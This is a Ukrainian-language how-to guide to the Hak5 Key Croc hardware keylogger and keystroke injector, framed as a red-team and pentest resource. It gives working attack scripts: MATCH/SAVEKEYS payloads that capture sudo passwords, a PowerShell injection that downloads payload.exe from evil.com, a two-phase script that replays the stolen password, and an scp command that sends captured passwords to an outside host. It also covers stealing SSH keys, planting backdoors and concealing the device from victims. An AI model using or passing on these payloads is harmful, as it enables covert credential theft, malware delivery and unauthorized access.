Key Croc: Повний гід по кейлогеру, атаках, інʼєкції та віддаленому контролю

03.06.2025 4 хвилин Автор: Lady Liberty

Key Croc — це один із найпотужніших пентест-інструментів від Hak5, який поєднує кейлогер, інʼєктор команд, Wi-Fi-клієнт і систему віддаленого управління. У цьому повному гіді ви дізнаєтесь, як працює Key Croc, як налаштувати Wi-Fi, SSH і Cloud C2, як ловити паролі через MATCH і SAVEKEYS, а також як запускати багатофазні атаки з інʼєкцією команд через QUACK. Стаття охоплює кожен аспект: від конфігурації до захисту та відновлення. Ідеально для Red Team, пентестерів, дослідників безпеки і всіх, хто хоче використати Croc на повну. Глибоко, практично, покроково.

Що таке Key Croc і його особливості

Key Croc — це професійний пристрій для перехоплення клавіатурного введення, розроблений компанією Hak5. Він виглядає як звичайний USB-подовжувач, але фактично є повноцінним Linux-компʼютером із підтримкою Bash, Wi-Fi, SSH, Cloud-клієнта, сховища даних і модулів інʼєкції клавіш. Це пристрій, який можна встановити між клавіатурою та комп’ютером, і він почне непомітно зчитувати всі натискання клавіш, а за потреби — реагувати на них заздалегідь прописаними сценаріями.

Croc — це не просто кейлогер. Його сила у тому, що він «живе» всередині системи автономно, запускає складні багатоступеневі атаки, підтримує хмарне управління та повністю налаштовується. В основі його — концепція пасивного очікування потрібного моменту. Він не поспішає інʼєктити щось відразу після запуску, а стежить, запамʼятовує, і тільки коли виконується певна умова (наприклад, користувач ввів слово «sudo») — вмикає режим атаки.

Основні особливості, які відрізняють Key Croc від звичайних кейлогерів або навіть інших пентест-пристроїв типу Rubber Ducky:

  • Підключення через Wi-Fi — може працювати як мережевий пристрій, що надсилає логи в реальному часі.

  • Cloud C2 — централізоване хмарне управління десятками пристроїв одночасно, з можливістю дистанційного керування, перегляду логів і запуску нових скриптів.

  • SSH-доступ — повноцінна оболонка, через яку можна працювати, як з Linux-сервером.

  • Автоматичні сценарії атаки — якщо спрацював шаблон, пристрій може зберегти дані, інʼєктити відповідь, змінити режим роботи або активувати наступну фазу.

  • Інʼєкція Ducky Script — емуляція натискання клавіш на рівні USB-клавіатури.

  • Повноцінна файлово-директорна система — конфіги, скрипти, логи — усе можна змінювати вручну або автоматично.

  • Фізичний захист — можливість захистити вхід у режим програмування паролем.

  • Оновлення прошивки — підтримка нових функцій із версіями firmware.

Таким чином, Key Croc — це інструмент не лише для зчитування, а й для управління, інʼєкції, автоматизації і контролю у найширшому сенсі.

Як працює в основі: клавіатура, режим атаки

Основна суть Key Croc полягає у перехопленні трафіку з USB-клавіатури. Пристрій вставляється між клавіатурою і компʼютером, і при цьому виконує дві ключові функції:

  1. Пасивне прослуховування натискань клавіш, які користувач передає компʼютеру.

  2. Активне реагування у вигляді запуску скриптів, інʼєкції команд або зміни режиму роботи.

Щойно Croc виявляє підключену клавіатуру — він входить у режим атаки (Attack Mode). У цьому режимі:

  • всі натискання клавіш проходять «крізь» Key Croc до компʼютера

  • Croc одночасно зберігає ці натискання у свої лог-файли (croc_raw.log, croc_char.log)

  • система аналізує кожне введення і перевіряє, чи не збіглося воно з одним із заданих MATCH-патернів

Поки клавіатура не підключена, Croc світиться білим — він чекає. Щойно зʼєднання відбувається — він гасне і починає логування.

Режим Arming Mode активується тільки вручну — шляхом натискання кнопки на самому пристрої. У цьому режимі Croc перестає логувати клавіші і поводиться як звичайна флешка. Це потрібно для конфігурації, оновлення, встановлення скриптів або підключення до Cloud/SSH.

Стан пристрою можна відслідковувати за індикатором:

  • Зелений — запуск системи

  • Синій (миготить) — Arming Mode

  • Білий — клавіатура не виявлена

  • Жовтий — диск переповнено

  • Магента — конфігурація кейлогера

  • Ціан — налаштування Wi-Fi

  • Червоний — помилка

Отже, пристрій виконує приховану роль між клавіатурою і компʼютером, і в будь-який момент готовий перейти від простої фіксації до активної фази атаки — все залежить від введення користувача.

Match і Savekeys у деталях

Одна з найпотужніших функцій Key Croc — це вміння реагувати не просто на кожне натискання клавіші, а на цілі шаблони введення. І тут вступає в гру команда MATCH. Саме вона перетворює Croc із пасивного кейлогера на контекстний інструмент атаки, який може чекати скільки завгодно, але спрацює тільки тоді, коли користувач введе щось важливе.

MATCH дозволяє задати певний шаблон (текстовий рядок або регулярний вираз), який, коли буде надрукований користувачем, автоматично активує скрипт (payload). Уяви, що Croc уважно слухає потік клавіш і просто чекає, поки ти скажеш «магічне слово». І коли ти нарешті вводиш, наприклад, sudo, — починається атака.

Як виглядає базовий payload із MATCH:

MATCH sudo
SAVEKEYS /root/loot/pass.txt UNTIL \[ENTER\](.*?)\[ENTER\]

Що тут відбувається:

  1. Якщо користувач набрав «sudo» — це спрацьовує як тригер

  2. Після цього Croc активує команду SAVEKEYS

  3. Усе, що буде надруковано між першим і другим ENTER, буде записано у файл

Це класичний сценарій для фіксації sudo-пароля, який людина вводить після запиту на привілейовану команду. Такі паролі часто дуже цінні.

Підтримуються шаблони:

  • звичайний текст (MATCH admin, MATCH login)

  • спеціальні клавіші (MATCH \[CTRL-ALT-DELETE\], \[ESC\])

  • регулярні вирази (MATCH ([Pp]assword|пароль|passwort)) — зручно для багатомовного моніторингу

SAVEKEYS має три режими:

  • NEXT N — зберегти наступні N натискань клавіш

  • LAST N — зберегти попередні N

  • UNTIL шаблон — зберігати до тих пір, поки не буде введено вказаний шаблон

Це дає вражаючу гнучкість. Наприклад, можна зберегти 50 попередніх натискань перед логіном — або чекати, поки людина двічі не натисне ENTER, і тільки тоді витягнути весь блок введення.

Особливості, які потрібно знати:

  • MATCH не розуміє ^ та $ як у класичних regex — Croc читає безперервний потік

  • Не можна писати MATCH у коментарях: це ламає парсер

  • Якщо ви вносите зміни у MATCH — обов’язково виконуйте RELOAD_PAYLOADS

  • Максимальна кількість клавіш у SAVEKEYS — 255

  • Шлях до файлу завжди повинен бути абсолютним, наприклад: /root/loot/pass.txt

Завдяки цьому механізму Key Croc може чекати на будь-яку ключову подію: логін, запит sudo, введення пароля Wi-Fi або навіть банальний ls — і реагувати саме в цей момент, коли користувач максимально вразливий.

Конфігурація: config.txt, Arming Mode

Перед тим як Key Croc почне працювати як кейлогер і атакувальний пристрій, його потрібно сконфігурувати. Для цього передбачено спеціальний режим — Arming Mode. У цьому режимі пристрій поводиться як флешка: він не перехоплює клавіші і не виконує ніяких скриптів. Натомість дає змогу змінити налаштування, оновити скрипти, завантажити payload-и або підключити пристрій до хмари.

Arming Mode активується натисканням кнопки на корпусі Croc після підключення до компʼютера. У цьому режимі світлодіод блимає синім кольором. З’являється диск із назвою KeyCroc — це флешка, на якій знаходиться файл config.txt та кілька службових директорій.

config.txt — серце всієї конфігурації

Цей файл контролює основні функції пристрою: мову клавіатури, Wi-Fi, SSH, поведінку пристрою, безпеку тощо.

Ось найважливіші директиви:

DUCKY_LANG us
WIFI_SSID PentestNet
WIFI_PASS 1234567890
SSH ENABLE
DNS 1.1.1.1
ARMING_PASS letmein1337
ARMING_TIMEOUT 10

Пояснення до кожної:

  • DUCKY_LANG — мова розкладки клавіатури для інʼєкції. Дуже важливо вказати правильно, бо QUACK STRING буде друкувати з урахуванням цієї мови.

  • WIFI_SSID і WIFI_PASS — параметри підключення до бездротової мережі. Після підключення Croc отримає IP і буде готовий до SSH або Cloud.

  • SSH ENABLE — вмикає можливість підключатись по SSH (логін: root, пароль: hak5croc).

  • DNS — дозволяє задати власні DNS (можна прописати Google або Cloudflare, якщо виникають проблеми з резолвом).

  • ARMING_PASS — пароль для активації Arming Mode: тобто потрібно набрати його на клавіатурі, а потім натиснути кнопку, щоб увійти в конфігураційний режим.

  • ARMING_TIMEOUT — кількість секунд, протягом яких після введення пароля дозволено натиснути кнопку і активувати Arming Mode.

Важливі речі, які треба пам’ятати:

  • Після зміни config.txt завжди безпечно витягайте флешку, а потім перепідключіть пристрій — інакше нові налаштування не застосуються.

  • Не варто редагувати системні папки вручну (/cache, /library) без потреби.

  • Якщо неправильно налаштувати Wi-Fi або SSH — пристрій стане ізольованим, і доведеться робити фізичний ресет.

Таким чином, конфігурація Croc — це не просто стартовий файл, а центр контролю над усіма функціями, без якого неможливо запустити жодну серйозну операцію.

Wi-Fi + Cloud C2

Key Croc може працювати абсолютно автономно, але саме підключення до Wi-Fi перетворює його на повноцінний дистанційно керований інструмент. Через бездротову мережу Croc може:

  • підключатись до SSH-сесій,

  • отримувати оновлення або нові payload-и,

  • надсилати викрадені дані в реальному часі,

  • керуватись через Cloud C2 — централізовану хмарну платформу від Hak5.

Це дає змогу проводити операції без фізичного контакту з пристроєм — тобто Key Croc може залишатись увімкненим тижнями чи місяцями в офісі, лабораторії або будь-якому іншому місці, і надсилати інформацію оператору без найменшого втручання.

Як налаштувати Wi-Fi

У файлі config.txt, який розташований у Arming Mode на флешці Key Croc, необхідно додати рядки:

WIFI_SSID My\ Network
WIFI_PASS Sup3r\@Secure
SSH ENABLE

Важливо: пробіли в назві Wi-Fi замінюються на \\ або \ , а спеціальні символи в паролі треба або екранувати (наприклад, @\@), або брати лапками.

Після перепідключення Croc:

  • автоматично підключиться до мережі,

  • отримає IP через DHCP,

  • відкриє порт 22 для SSH,

  • або, якщо додано device.config, звʼяжеться із Cloud C2.

Cloud C2 — головний інструмент віддаленого управління

Cloud C2 — це платформа, яка обʼєднує усі пристрої Hak5: Key Croc, Bash Bunny, Packet Squirrel, Shark Jack тощо. Вона дозволяє бачити:

  • статус кожного пристрою (онлайн/офлайн),

  • останню активність,

  • спрацьовані MATCH-и,

  • логи й перехоплені паролі,

  • активні payload-и.

Як підключити Croc до Cloud C2:

  1. Запусти Cloud C2-сервер (локально або у хмарі)

  2. Створи новий пристрій типу Key Croc у панелі управління

  3. Завантаж device.config — файл із параметрами зʼєднання

  4. Скопіюй device.config у корінь флешки Croc у Arming Mode

  5. Перепідключи пристрій — він підключиться автоматично

Після цього ти отримаєш повний контроль: можеш запускати скрипти, оновлювати конфіг, бачити всі події та знімати логи. Особливо зручно це в Red Team-операціях: один оператор — десятки віддалених пристроїв.

SSH-доступ і інтерактивна робота

Коли Croc підключено до Wi-Fi, він не просто стає пристроєм для збирання логів — він перетворюється на повноцінний Linux-сервер, доступний по SSH. Це відкриває колосальні можливості для пентестера або Red Team-оператора.

Як підключитись:

Спочатку дізнайтесь IP-адресу Croc — її можна отримати з панелі Cloud C2, з DHCP-сервера, або просканувавши мережу (nmap, arp-scan)

Потім відкрийте термінал і підключіться:

ssh [email protected]

За замовчуванням логін: root Пароль: hak5croc (рекомендується змінити одразу після першого входу)

Що доступно через SSH:

  • Повна структура директорій: /payloads, /root/loot, /tmp, /etc, /bin, /usr, /lib

  • Редагування конфігів і скриптів: можна прямо у Nano/Vim змінити payload, не перепідключаючи пристрій

  • Пряме тестування: запуск скриптів вручну, перевірка MATCH-поведінки, інʼєкція команд

  • Встановлення додаткових утиліт: з офіційних або локальних .deb-пакетів — наприклад tcpdump, nmap, curl, wget, impacket

Інтерактивні можливості:

Через SSH Croc стає не просто «кейлогером із флешкою», а активним, живим учасником атаки, як Raspberry Pi. Наприклад, можна:

  • слідкувати за логами в реальному часі:tail -f /root/loot/matches.log

  • вручну запускати скрипти:bash /payloads/myscript.sh

  • миттєво вивантажувати викрадені дані:scp /root/loot/pass.txt [email protected]:/home/stolen/

Це дає перевагу у швидкості: не потрібно чекати, поки все пройде автоматично — ти керуєш прямо на місці.

Таким чином, SSH — це не просто зручність, а фундаментальна частина роботи з Croc, без якої складні сценарії і повний контроль неможливі.

Інʼєкція команд через Quack

Команда QUACK — це одна з головних фішок Key Croc. Вона дозволяє пристрою імітувати натискання клавіш на клавіатурі, тобто не лише слухати користувача, а й друкувати команди назад у систему. Це перетворює Croc на активного гравця: замість того щоб чекати, він може ініціювати дії — від запуску терміналу до копіювання файлів і навіть завантаження шкідливого ПЗ.

QUACK — це інтерпретатор Ducky Script. Цей скриптовий міні-язык дозволяє автоматично вводити:

  • текстові рядки (QUACK STRING whoami)

  • комбінації клавіш (QUACK CTRL ALT t)

  • дії натискання (ENTER, TAB, GUI, ESC)

  • паузи між командами (DELAY 500)

  • та запуск цілих скриптів (QUACKFILE /root/inject.txt)

Простий приклад атаки через QUACK:

QUACK STRING powershell
QUACK ENTER
QUACK DELAY 500
QUACK STRING Invoke-WebRequest http://evil.com/payload.exe -OutFile C:\\temp\\p.exe
QUACK ENTER

Що робить цей скрипт:

  1. Відкриває PowerShell

  2. Завантажує файл з віддаленого сервера

  3. Зберігає його в системній папці

І все це — без будь-якої взаємодії з користувачем. Він може навіть не бачити, що щось відбувається.

Комбінації клавіш

CTRL, ALT, GUI, SHIFT — можна поєднувати:

QUACK CTRL ALT DELETE
QUACK GUI r

DELAY — затримка у мілісекундах:

QUACK DELAY 1000

Ця команда критично важлива, бо кожна ОС працює зі своїм темпом: на повільних компʼютерах без DELAY інʼєкція просто зламається.

Можливості:

  • запуск команд адміністратора (sudo, runas)

  • автоматичне введення пароля після захоплення через SAVEKEYS

  • викрадення файлів (cp ~/.ssh/id_rsa)

  • зміна мережевих налаштувань

  • установлення бекдорів

Усе це працює на будь-якій ОС, яка приймає клавіатуру: Windows, Linux, macOS. Для кожної можна налаштувати власний payload, адаптований під розкладку клавіатури (DUCKY_LANG).

Payload-фреймворк і сценарії з кількох фаз

Croc не просто запускає один скрипт після збігу — він дозволяє будувати логіку атаки: багатоступеневі, умовні, послідовні сценарії, які реагують на поведінку користувача у режимі реального часу.

Усі payload-и зберігаються у директорії /payloads. Їх можна комбінувати, перемикати, вимикати і запускати інші. Кожен файл .txt із MATCH буде автоматично розпізнано системою після завантаження.

Ключові команди у сценаріях:

  • ENABLE_PAYLOAD payload.txt — вмикає інший payload

  • DISABLE_PAYLOAD payload.txt — вимикає payload

  • RELOAD_PAYLOADS — перечитує всі сценарії

  • WAIT_FOR_LOOT /path/to/file — очікує появу вказаного лог-файлу

  • IFEXIST /path/to/file — умовна логіка: дія лише якщо файл існує

Приклад багатофазної атаки

Фаза 1 — зловити пароль:

MATCH sudo
SAVEKEYS /root/loot/pass.txt UNTIL \[ENTER\](.*?)\[ENTER\]
awk -F '\\[ENTER\\]' '{print $2}' /root/loot/pass.txt > /root/loot/pass-clean.txt
DISABLE_PAYLOAD sudo-capture.txt
ENABLE_PAYLOAD sudo-inject.txt
RELOAD_PAYLOADS

Фаза 2 — використати його:

WAIT_FOR_LOOT /root/loot/pass-clean.txt
PASS=$(cat /root/loot/pass-clean.txt)
QUACK STRING sudo -S
QUACK ENTER
QUACK DELAY 400
QUACK STRING "$PASS"
QUACK ENTER

Це означає: спочатку Croc спостерігає, чекає sudo, ловить пароль і тільки після цього — переходить до другої фази, в якій вводить його назад у систему, відкриваючи доступ до адміністративного терміналу.

Інші можливості:

  • активувати новий payload після виявлення підключення до Wi-Fi

  • збирати різні логіни, паролі, команди і поступово ексфільтрувати

  • залишити Croc працювати у фоновому режимі з кількома сценаріями одночасно

Така логіка перетворює Key Croc на сценарну машину, яка не просто реагує, а будує динаміку атаки, контролюючи кожен наступний крок.

Логи, loot, matches.log

Уся суть атаки на основі кейлогінгу і автоматизації полягає не тільки у самій дії, а в зборі й обробці отриманої інформації. Key Croc — це не «разовий» інструмент, він постійно логує все, що відбувається, створює файли, систематизує їх за типом подій і розміщує у спеціальних директоріях.

Основна директорія, де зберігається вся інформація, — це:

/root/loot/

Саме тут ви знайдете найважливіше:

  • matches.log — хронологічний список усіх спрацьовувань MATCH

  • файли SAVEKEYS — наприклад, sudo.log, login.log, pass.txt тощо

  • .filtered-файли — версії логів, очищені від службових символів: [ENTER], [CTRL], [TAB] тощо

  • інші текстові документи, створені payload-ами: наприклад, cmd.txt, output.log, creds.txt

matches.log

Це файл, який веде себе як системний лог. У ньому записується кожне спрацювання шаблону MATCH, вказуючи:

  • дата й час

  • назва payload-а

  • який саме шаблон MATCH спрацював

  • пристрій, на якому це сталось (при Cloud-звʼязку)

Це перше місце, куди слід подивитись, якщо потрібно дізнатись: «Чи взагалі щось було перехоплено?»

croc_char.log та croc_raw.log

Це «сирі» кейлоги — повна історія натискань.

  • croc_char.log — лог символів, які дійсно зʼявились на екрані (тобто вже оброблені, з урахуванням CAPSLOCK, SHIFT і т.д.)

  • croc_raw.log — лог натискань з кодами клавіш, як бачить сам пристрій

Іноді ці логи доповнюють один одного. Наприклад, якщо користувач вводив пароль, але натиснув Backspace — croc_raw зафіксує і це, а croc_char покаже лише фінальний результат.

Обробка логів

Оскільки Croc — це Linux, у вас є всі стандартні інструменти:

  • awk — для розбору рядків і витягування даних

  • grep — для пошуку по шаблону

  • sed — для очищення від спецсимволів

  • cut, tail, head, sort, uniq — для систематизації

Також можна використовувати функцію автозапуску обробки прямо у payload-ах. Наприклад, одразу після збереження логіна — створити копію у .filtered або відправити його через SSH на зовнішній сервер.

Таким чином, Croc не просто збирає дані — він дає повний контроль над тим, що саме зібрати, як зберегти, і що робити далі.

Захист: ARMING_PASS, відновлення

Попри те, що Key Croc призначено для атаки, він має і механізми самозахисту. Якщо ви залишаєте його десь у полі — важливо бути впевненим, що жертва не зможе виявити, перепідключити або скопіювати ваші дані. Саме тому пристрій має кілька важливих функцій захисту.

Пароль на Arming Mode (ARMING_PASS)

У нормі, щоб змінити payload-и, конфіги або переглянути логи — потрібно натиснути кнопку на пристрої і ввійти в Arming Mode. Але зловмисник теж може це зробити. Щоб запобігти цьому, є директива ARMING_PASS.

ARMING_PASS 0987letmein

Це означає, що для входу в Arming Mode:

  1. Користувач має набрати пароль на клавіатурі

  2. Після цього — натиснути кнопку Croc

  3. Тільки тоді зʼявиться флешка з конфігурацією

Якщо пароль не буде введено — Croc залишиться у режимі атаки, і ззовні виглядатиме як звичайна клавіатура. Це критично важливо у Red Team-операціях або при використанні в офісі: навіть якщо технік помітить «дивну коробочку» — він не отримає до неї доступ.

Відновлення прошивки

Іноді Croc «ламається» — особливо після кривих payload-ів, помилок у конфігурації або невдалого оновлення. У таких випадках передбачено режим відновлення.

Як виконати відновлення:

  1. Утримуйте кнопку на корпусі Croc

  2. Підключіть пристрій до компʼютера

  3. Дочекайтесь миготіння червоно-синім світлом — це режим Recovery

  4. Завантажте нову прошивку з сайту Hak5

  5. Скопіюйте файл прошивки на зʼявлену флешку

  6. Безпечно витягніть — пристрій оновиться автоматично

Увага: під час оновлення вся інформація на пристрої буде стерта. Payload-и, логи, конфіги — зникнуть. Перед оновленням обов’язково зробіть резервну копію.

Висновок

Key Croc — це набагато більше, ніж просто кейлогер. Це високотехнологічний автономний інструмент, здатний слухати, аналізувати, реагувати, атакувати й передавати дані в реальному часі. Його сила — у поєднанні непомітності, потужності Linux-середовища, інʼєкції команд, Wi-Fi-зв’язку, сценарної автоматизації і хмарного управління. Це універсальна кіберзброя для тих, хто працює на передовій інформаційної безпеки.

Кожна функція Key Croc — не для «ефекту», а для реального сценарію атаки:

  • Хочеш зловити sudo і витягти пароль? MATCH + SAVEKEYS.

  • Хочеш запустити PowerShell і завантажити пейлоад? QUACK STRING + ENTER.

  • Хочеш дистанційно керувати з іншого міста? Cloud C2 + SSH.

  • Хочеш увімкнути багатофазну атаку із зміною сценаріїв на ходу? ENABLE_PAYLOAD, DISABLE_PAYLOAD.

Цей пристрій може чекати годинами, днями, тижнями — але в потрібний момент він зробить саме те, що ти йому запрограмував. А потім — зникне з системи, залишивши лише кілька байтів тексту в логу.

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.